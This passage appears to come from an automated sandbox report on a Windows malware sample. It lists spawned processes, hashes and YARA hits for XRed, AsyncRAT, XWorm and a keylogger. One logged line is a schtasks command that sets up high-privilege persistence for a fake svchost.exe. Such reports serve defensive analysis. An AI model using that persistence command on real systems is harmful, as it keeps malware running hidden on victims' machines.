Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	14:10:33
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	5'999'616 bytes
MD5 hash:	100620CD1016F9B7AED030B8ECED2AFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:10:34
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\._cache_file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\._cache_file.exe"
Imagebase:	0xbc0000
File size:	4'996'608 bytes
MD5 hash:	ADC3667C6060DFDCB6F41BD2B01C31A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:10:34
Start date:	02/01/2025
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	1'003'008 bytes
MD5 hash:	5F13DA6171A270D4427F9857F94A265E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 89%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:10:36
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe"
Imagebase:	0x7ff771dc0000
File size:	4'173'824 bytes
MD5 hash:	15DC7DDE51858F43E9845F72213C042D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000004.00000000.1557738009.00007FF771F61000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000004.00000002.3995728707.00007FF771F62000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 62%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:10:37
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Roaming\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\svchost.exe"
Imagebase:	0x400000
File size:	812'544 bytes
MD5 hash:	9F3EE8AEF394F4FDB98EAD98EC6C1F9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: rat_win_xworm_v3, Description: Finds XWorm (version XClient, v3) samples based on characteristic strings, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Sekoia.io Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:10:37
Start date:	02/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x8e0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	14:10:38
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\._cache_svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\._cache_svchost.exe"
Imagebase:	0x870000
File size:	40'960 bytes
MD5 hash:	5390ED74A0C3C880FDD6D0E2D135BFE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000007.00000002.4006645405.0000000002991000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\Desktop\._cache_svchost.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\Desktop\._cache_svchost.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\Desktop\._cache_svchost.exe, Author: Joe Security Rule: rat_win_xworm_v3, Description: Finds XWorm (version XClient, v3) samples based on characteristic strings, Source: C:\Users\user\Desktop\._cache_svchost.exe, Author: Sekoia.io Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\Desktop\._cache_svchost.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:10:40
Start date:	02/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:10:44
Start date:	02/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\svchost.exe"
Imagebase:	0x7ff7a4200000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:10:44
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:10:46
Start date:	02/01/2025
Path:	C:\Users\user\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\svchost.exe
Imagebase:	0xca0000
File size:	40'960 bytes
MD5 hash:	5390ED74A0C3C880FDD6D0E2D135BFE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\svchost.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\svchost.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\svchost.exe, Author: Joe Security Rule: rat_win_xworm_v3, Description: Finds XWorm (version XClient, v3) samples based on characteristic strings, Source: C:\Users\user\svchost.exe, Author: Sekoia.io Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\svchost.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:10:46
Start date:	02/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	14:11:01
Start date:	02/01/2025
Path:	C:\Users\user\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\svchost.exe
Imagebase:	0x2b0000
File size:	40'960 bytes
MD5 hash:	5390ED74A0C3C880FDD6D0E2D135BFE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:12:00
Start date:	02/01/2025
Path:	C:\Users\user\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\svchost.exe
Imagebase:	0x720000
File size:	40'960 bytes
MD5 hash:	5390ED74A0C3C880FDD6D0E2D135BFE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:12:27
Start date:	02/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	14:12:27
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5600 -ip 5600
Imagebase:	0xe40000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:12:28
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5600 -s 24140
Imagebase:	0xe40000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:12:40
Start date:	02/01/2025
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff7e5f10000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	14:12:41
Start date:	02/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	14:13:00
Start date:	02/01/2025
Path:	C:\Users\user\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\svchost.exe
Imagebase:	0x440000
File size:	40'960 bytes
MD5 hash:	5390ED74A0C3C880FDD6D0E2D135BFE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:14:00
Start date:	02/01/2025
Path:	C:\Users\user\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\svchost.exe
Imagebase:	0xff0000
File size:	40'960 bytes
MD5 hash:	5390ED74A0C3C880FDD6D0E2D135BFE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFAAC390D80 Relevance: 2.6, Strings: 2, Instructions: 108COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFAAC390E38
8eM, xrefs: 00007FFAAC390E2D

Memory Dump Source

Source File: 00000002.00000002.1568867096.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac390000_UNK_.jbxd

Similarity

API ID:
String ID: 8eM$H
API String ID: 0-3883487029
Opcode ID: c128d5baa0f934b05780688d5998b05ce5483c6d9f1977dce03cd015e55eab8e
Instruction ID: d22e55a6db875385dbf7a6d0c482cf6d8ca4fc7e8b13adb3a9e289805373a461
Opcode Fuzzy Hash: c128d5baa0f934b05780688d5998b05ce5483c6d9f1977dce03cd015e55eab8e
Instruction Fuzzy Hash: 2E317A6684E3C29FD70357B45C768A17FB09E4722070E80EBD4C9CB4E3D51C699AC7A2

Function 00007FFAAC3909F7 Relevance: 1.5, Strings: 1, Instructions: 205COMMON

Download Yara Rule

Strings

(QD, xrefs: 00007FFAAC390C56

Memory Dump Source

Source File: 00000002.00000002.1568867096.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac390000_UNK_.jbxd

Similarity

API ID:
String ID: (QD
API String ID: 0-3296014063
Opcode ID: 650889927e7fded39cef5e451f3b2d292781378cd35b96b774e444851f15cc03
Instruction ID: 50d89d3a4fcacc7cfac29da1eee60b2c3f2fa1246c1fd4024f4a177a875f40cc
Opcode Fuzzy Hash: 650889927e7fded39cef5e451f3b2d292781378cd35b96b774e444851f15cc03
Instruction Fuzzy Hash: 93715E70A19909CFEB98EB68C498BADB7E2FF59314F144168E05ED32D1CE39A845CB44

Function 00007FFAAC390F3F Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

r6C, xrefs: 00007FFAAC390F5F

Memory Dump Source

Source File: 00000002.00000002.1568867096.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac390000_UNK_.jbxd

Similarity

API ID:
String ID: r6C
API String ID: 0-1646037579
Opcode ID: 97aa3c04948b678fb758334e332d239146f97d060ad2763f26da03ae79bb8993
Instruction ID: 237fd243e64fc4cee4a0c859e4694ca7acb96820f99343ec3c3ca26f949fca44
Opcode Fuzzy Hash: 97aa3c04948b678fb758334e332d239146f97d060ad2763f26da03ae79bb8993
Instruction Fuzzy Hash: 55E08642B1DD0A4BF7987ABC68666F8A7C1DB9D610F818139E00EC23C3DC0D9C824281

Function 00007FFAAC3910ED Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1568867096.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac390000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6c7a8415f870b7f3821c31100548def9e2d618a91e15bf0dc2241fdbae8e795
Instruction ID: aed099c80b091e66710bd54758ed0d75315048232b62ca87358affb1d47aefbd
Opcode Fuzzy Hash: a6c7a8415f870b7f3821c31100548def9e2d618a91e15bf0dc2241fdbae8e795
Instruction Fuzzy Hash: 8F31CA62A0DEC94FE785EB7898696B8BBE1EF5A201F0800FBD44DD32D3DD199C458351

Function 00007FFAAC390498 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1568867096.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac390000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00b042a4e5598eaff2a2bfede53418e4186fedcb2bc1e0c09f9650f990d8f544
Instruction ID: f1c1207c5c0a7feb1fd2295b20fc88426e4d903ed764780d4dcab097a4383b99
Opcode Fuzzy Hash: 00b042a4e5598eaff2a2bfede53418e4186fedcb2bc1e0c09f9650f990d8f544
Instruction Fuzzy Hash: 3E21A771B14D4D8FEB84FB6CC499AB9B7E6EF9C301B04007AE40ED3293DE28A8458740

Function 00007FFAAC390E71 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1568867096.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac390000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1a4f40b0d9163be0a5932ae9f66001fa3ba3c67a9cd6c7c65009a78a54e2108
Instruction ID: a736b704ae96830d53b29f607b7bb2b969cbf64c6c5ac4c9d0b5f7d283723b05
Opcode Fuzzy Hash: c1a4f40b0d9163be0a5932ae9f66001fa3ba3c67a9cd6c7c65009a78a54e2108
Instruction Fuzzy Hash: 4A01D670A1EE8A8FE798EB38D4959A973D1EF89314B0101B9C54DC3382DE2DE84587C5

Function 00007FFAAC3904A8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1568867096.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac390000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82b5329e4c9751d86afee14d3c4dc7226091d2c29e527802525653e36ed138c1
Instruction ID: 75037847b6f657fec5a11abf0ba460760abd8b39f77b4db43d1756b1c8f0d3c1
Opcode Fuzzy Hash: 82b5329e4c9751d86afee14d3c4dc7226091d2c29e527802525653e36ed138c1
Instruction Fuzzy Hash: F0F0F430A1EA5A8BE658B73CD4519B973D1EF89314B104179D44EC3382DD2DA84647C1

Function 00007FFAAC3904B0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1568867096.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac390000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9259c37d31aecbe4fef0c5f475b71d2c8980671ae7ca6b92d379c0475927769
Instruction ID: 3355def7e687751fead68298fe5e021801a3b5a8d0dd4937fd88dfeaa1d407e0
Opcode Fuzzy Hash: d9259c37d31aecbe4fef0c5f475b71d2c8980671ae7ca6b92d379c0475927769
Instruction Fuzzy Hash: 18F0FF30B2DE1A8BE698FB38D494A6E73E1EB8D304B500039D44EC3380DE2DAC4287C1

Non-executed Functions

Function 00007FFAAC390242 Relevance: 9.0, Strings: 7, Instructions: 221COMMON

Download Yara Rule

Strings

H1`, xrefs: 00007FFAAC390399
XUt, xrefs: 00007FFAAC3902A9
(0`, xrefs: 00007FFAAC390419
8,`, xrefs: 00007FFAAC3903F9
P/`, xrefs: 00007FFAAC3903E9
kn]I, xrefs: 00007FFAAC390444
-`, xrefs: 00007FFAAC390439

Memory Dump Source

Source File: 00000002.00000002.1568867096.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac390000_UNK_.jbxd

Similarity

API ID:
String ID: (0`$8,`$H1`$P/`$XUt$kn]I$-`
API String ID: 0-1769239682
Opcode ID: a83ec696829d88315ddb59ae4a7337b5c9943917c9485fd961cb4586f61d4f99
Instruction ID: 1f6cd757e020d503291fcd881459b7969631621bdb1a6510607c7977752db8b9
Opcode Fuzzy Hash: a83ec696829d88315ddb59ae4a7337b5c9943917c9485fd961cb4586f61d4f99
Instruction Fuzzy Hash: 7D61079380FEC14BF2554BD918B5435BE84EFAB650B1880BBE0CC465DBE84AED4D83D2

Analysis Process: Fulloptionnew_by elegance.exePID: 2916, Parent PID: 4664COMMON

Non-executed Functions

Function 00007FF771F06CC4 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF771F06CF0
GetCurrentThreadId.KERNEL32 ref: 00007FF771F06CFE
GetCurrentProcessId.KERNEL32 ref: 00007FF771F06D0A
QueryPerformanceCounter.KERNEL32 ref: 00007FF771F06D1A

Memory Dump Source

Source File: 00000004.00000002.3992013573.00007FF771DC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF771DC0000, based on PE: true

Associated: 00000004.00000002.3991939038.00007FF771DC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.3993645704.00007FF771F0B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.3993778104.00007FF771F0C000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.3995085405.00007FF771F61000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.3995728707.00007FF771F62000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.3998646992.00007FF772177000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff771dc0000_Fulloptionnew_by elegance.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: a1c6fed36e44ea2a26f6a5160ac6c48596f6048976059e3dbfe6b8444d495884
Instruction ID: 0bd05841f718a0aae4a5b54e6c9012f336899b91c0835484317c4ed74908462d
Opcode Fuzzy Hash: a1c6fed36e44ea2a26f6a5160ac6c48596f6048976059e3dbfe6b8444d495884
Instruction Fuzzy Hash: BE115E36B2AF4189EF00DF60E8542B873A4FB58758F841E31DA2D827A4DFB8D1548350

Analysis Process: ._cache_svchost.exePID: 4716, Parent PID: 1292COMMON

Execution Graph

Execution Coverage:	16.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.7%
Total number of Nodes:	45
Total number of Limit Nodes:	4

Executed Functions

Function 00007FFAAC3A1C11 Relevance: 5.4, Strings: 4, Instructions: 391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6C, xrefs: 00007FFAAC3A1C80
6C, xrefs: 00007FFAAC3A1D2B
6C, xrefs: 00007FFAAC3A1DE2
6C, xrefs: 00007FFAAC3A1EC2

Memory Dump Source

Source File: 00000007.00000002.4028921738.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac3a0000_UNK_.jbxd

Similarity

API ID:
String ID: 6C$6C$6C$6C
API String ID: 0-1506102027
Opcode ID: e0905d5828eaa29965844d57df2f4605e19c31be755e53f53d3d363543d25d1e
Instruction ID: 36b2549a6053beaa98991562cbbecf07568c8e36a7d11be687a794bdd66dbdc7
Opcode Fuzzy Hash: e0905d5828eaa29965844d57df2f4605e19c31be755e53f53d3d363543d25d1e
Instruction Fuzzy Hash: 2BC19261B1DE4A8FFB98EB3CC465A79B7D2EF99700F048179D14EC3292DE29E8054781

Function 00007FFAAC3A5946 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p6,, xrefs: 00007FFAAC3A5DDB
p6,, xrefs: 00007FFAAC3A59B8

Memory Dump Source

Source File: 00000007.00000002.4028921738.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac3a0000_UNK_.jbxd

Similarity

API ID:
String ID: p6,$p6,
API String ID: 0-1588824321
Opcode ID: 8bdd9fe0de1faabf65f8cc8239ce8eaab775dfc8846f65766f6348f7a48ba526
Instruction ID: b018e2c33439377693965c9c4b85cb1a34131d7a6468b74ea0ce0713774f1397
Opcode Fuzzy Hash: 8bdd9fe0de1faabf65f8cc8239ce8eaab775dfc8846f65766f6348f7a48ba526
Instruction Fuzzy Hash: 7AF1C570909E8E8FEFA8DF28C845BE977D1FF55311F04826AD84EC7291CB3599548B81

Function 00007FFAAC3A66F2 Relevance: 3.0, Strings: 2, Instructions: 460
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p6,, xrefs: 00007FFAAC3A6B57
p6,, xrefs: 00007FFAAC3A6768

Memory Dump Source

Source File: 00000007.00000002.4028921738.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac3a0000_UNK_.jbxd

Similarity

API ID:
String ID: p6,$p6,
API String ID: 0-1588824321
Opcode ID: 6623ffbf5148928338dda07508180ed52a07a3e2e2cd67a14f305cfbc49f91e8
Instruction ID: fef1aacb4307339034bba8335bdf7b8ea71062d3e25378615be6f9ed812753c6
Opcode Fuzzy Hash: 6623ffbf5148928338dda07508180ed52a07a3e2e2cd67a14f305cfbc49f91e8
Instruction Fuzzy Hash: 47E1C270908E8E8FEBA8DF28C855BE977E1FB55310F04826ED84DC7291CE7999548BC1

Function 00007FFAAC3A9F70 Relevance: 2.4, Strings: 1, Instructions: 1160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFAAC3AE450

Memory Dump Source

Source File: 00000007.00000002.4028921738.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac3a0000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: eadec7a0c286e67c81727ab0aa57198b17f708865dea013397769322435d2a00
Instruction ID: c267e6abd73dee9a4519e77797021e9bf7e31522cb5467eceb863a69979fbe8c
Opcode Fuzzy Hash: eadec7a0c286e67c81727ab0aa57198b17f708865dea013397769322435d2a00
Instruction Fuzzy Hash: AD829F60B1D90A8FFB98EB78C455E79B2D2EF99710F508578D00EC32D2DD29EC168791

Function 00007FFAAC3A6E50 Relevance: 1.7, APIs: 1, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

